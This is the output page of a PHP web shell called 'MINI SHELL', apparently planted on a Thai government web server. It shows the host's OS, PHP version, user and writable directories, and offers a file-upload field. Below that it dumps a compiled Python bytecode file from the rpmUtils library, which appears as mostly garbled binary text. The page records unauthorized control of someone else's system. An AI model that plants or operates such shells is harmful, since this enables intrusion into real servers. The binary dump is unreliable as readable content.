MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/proc/self/root/usr/lib/python2.4/site-packages/rpmUtils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/proc/self/root/usr/lib/python2.4/site-packages/rpmUtils/__init__.pyo
mò
ýÉODc@sfdkZdkZdkZdkZdeifd„ƒYZd„Zd„Zdfd„ƒYZdS(Nt
RpmUtilsErrorcBstZdd„ZRS(NcCstii|ƒ||_dS(N(t
exceptionst	Exceptiont__init__tselftargs(RR((t5/usr/lib/python2.4/site-packages/rpmUtils/__init__.pyR
s(t__name__t
__module__tNoneR(((RR	scKsµg}|iƒ}|idƒo|d=nt|iƒƒ}xl|D]d}d}x7|iƒD])}||||jo|d7}q_q_W||jo|i|ƒqFqFW~|S(sƒreturn list of headers from the rpmdb matching a keyword
        ex: getHeadersByKeyword(name='foo', version='1', release='1')
    tepochiiN(
tlstttstdbMatchtmitkwargsthas_keytlentkeystkeywordsthdrtmatchtkeywordtappend(RRRRRRRR((RtgetHeadersByKeywords"

cKstg}|iƒ}x.|iƒD] }|i|ti	||ƒqWx'|D]}|iƒ}|i|ƒqJW~|S(s‹return list of headers Indexes from the rpmdb matching a keyword
        ex: getHeadersByKeyword(name='foo', version='1', release='1')
    N(
RRR
RRRRtpatterntrpmtRPMMIRE_GLOBthtinstanceR(RRRRRRR((RtgetIndexesByKeyword&s
tRpmDBHoldercBs­tZd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Z	d	„Z
dddddd
„Zdddddd„Z
d„Zd
„Zd„Zd„ZRS(NcCs
g|_dS(N(Rtpkglists(R((RR8scCs||_d|_yL|iiƒ}|iƒ}|iƒ}|iid|ƒ}|iƒ}Wn$t	t
fj
o}d|_nXd|_h|_|iiƒ}xn|D]f}|i
|ƒ}|ii|ƒpg|i|<nq­|i|i|iƒƒ|ii|ƒq­W~dS(Nii(RRtmatch_on_indexR
RtnextRRtknown_indext	TypeErrort
StopIterationtet	indexdictt
_hdr2pkgTupletpkgtupleRRR (RRR&RR#RR)((RtaddDB;s,				cCst|d}|d}t|dƒ}t|dƒ}|d}|djo
d}n
t|ƒ}|||||fS(NtnametarchtversiontreleaseR
t0(RR+R,tstrtvertrelR
R	(RRR1R2R
R,R+((RR(Ys




cCs|iS(N(RR (R((Rt
getPkgListfscCsEg}|iiƒ}|o"x|D]}|i|ƒq#Wn~|S(N(thdrlistRRR
RRR(RRR4R((Rt
getHdrListiscCsIg}x3|iD](\}}}}}|i||fƒqWt	i
|ƒS(N(RRR R+R,R
R1R2Rt	miscutilstunique(RR1R+RR
R2R,((RtgetNameArchPkgListss

cCsCg}x-|iD]"\}}}}}|i|ƒqWt	i
|ƒS(N(RRR R+R,R
R1R2RR6R7(RR1R+RR
R2R,((RtgetNamePkgList{s

cCsh}
xº|iD]¯\}}}}	}|
i||fƒp||	|f|
||f<q|
||f\}}}ti
||	|f|||fƒ}|djo||	|f|
||f<qqWg}xO|
iƒD]A\}}|
||f\}}	}|i||||	|fƒqÖW|S(s7returns the newest set of pkgs based on 'name and arch'iN(thighdictRR tntaR&tvtrRte2tv2tr2R6t
compareEVRtrctreturnsRR(RR<R&RARCRDR;R@R>R=R:R?((RtreturnNewestbyNameArch‚s 
$
!
 c
Csh}
x«|iD] \}}}}	}|
i|ƒp|||	|f|
|<q|
|\}}}}t
i||	|f|||fƒ}|djo|||	|f|
|<qqWg}xF|
iƒD]8}|
|\}}}	}|i||||	|fƒqÇW|S(s,returns the newest set of pkgs based on nameiN(R:RR R;R<R&R=R>Rta2R?R@RAR6RBRCRDRR(
RR<R&RARCRDR;R@R>R=R:RFR?((RtreturnNewestbyName•s 
$

 cCsCt|id|d|d|d|d|ƒƒdjodSndS(NR+R,R
R1R2ii(RRtreturnTupleByKeywordR+R,R
R1R2(RR+R,R
R1R2((Rt	installed¨s7cCs_|iƒ}h}g}x|D]}
|
\}	}}}}
|dj	o"||	jod||
<qqin|dj	o"||jod||
<qq˜n|dj	o"||jod||
<qqÇn|dj	o"||jod||
<qqön|dj	o"||
jod||
<qq%qqWx/|D]'}
|i|
ƒp|i|
ƒq0q0W|S(sZreturn a list of pkgtuples based on name, arch, epoch, ver and/or rel 
           matches.iN(RR3tcompletelistt
removedictt
returnlisttpkgtupR;R<R&R=R>R+R	R,R
R1R2RR(RR+R,R
R1R2R<RKRLR;RMR=RJR>R&((RRH®s@














cCs™|\}}}}
}	|ip5t|i	d|d|d|d|
d|	ƒ}|SnB|i|ƒ}|d}|i	id|ƒ}|iƒ}|gSdS(s:returns a list of header(s) based on the pkgtuple providedR+R,R
R-R.iN(R)R;R<R&R=R>RR!RRRtreturnIndexByTupletidxstidxR
RR"R(RR)R<R&RRPRR;RR>R=RO((RtreturnHeaderByTupleÓs
!
cCs|i|S(N(RR'R)(RR)((RRNãscCspg}d}|ddjo4d}|iid|ƒ}|iid|ƒ}n|iid|ƒ}|oT|iƒdjoAx*|D]"}
|i
|
ƒ}	|i|	ƒq‡W~t
i|ƒSn|ddgjp
|djoAx*|D]"}
|i
|
ƒ}	|i|	ƒqèW~t
i|ƒSnx;|D]3}
|i
|
ƒ\}}}}}|||||f}	t
i|ƒ\}}
}||||
|ff}|i|
ƒ}x¸|D]°\}}}||joq¨n|}|}|dj	ot
i|ƒ\}}}n|}|}|}|||||f}t
i'||ƒp
|djo|i|	ƒq¨q¨Wq)W~t
i|ƒS(sYuses the ts in this class to return a list of pkgtuples that match
           the provideit/it	basenamestprovidesN((tmatchest
checkfileprovtprovnameRRR
tmatchingFileHdrstmatchingHdrstcounttmatchhdrR(R)RR6R7tprovflagR	tprovvertpkg_ntpkg_atpkg_etpkg_vtpkg_rtstringToVersiontprov_etprov_vtprov_rt	provtuplet
_providesListtprovidelistR+tflagR1tmatch_ntmatch_atmatch_etmatch_vtmatch_rt
matchtuplet
rangeCheck(RRWR\R]RpRVR1RdRYR)ReRfRUR[RiRjRXRbRkRaR+RmR^RlR_R`RnRgRo((RtwhatProvidesæsZ 

 cCs]g}|ti}|ti}|ti}|dj	ot
|||ƒ}nti|ƒS(N(
RRRtRPMTAG_PROVIDENAMEtnamestRPMTAG_PROVIDEFLAGStflagstRPMTAG_PROVIDEVERSIONtversR	tzipR6R7(RRRxRRvRt((RRh%s



(RRRR*R(R3R5R8R9RERGR	RIRHRQRNRrRh(((RR7s			
		
				%			?(	RR6RtoldUtilsRRRRR(RzR6RRRRRR((Rt?s						

Anon7 - 2021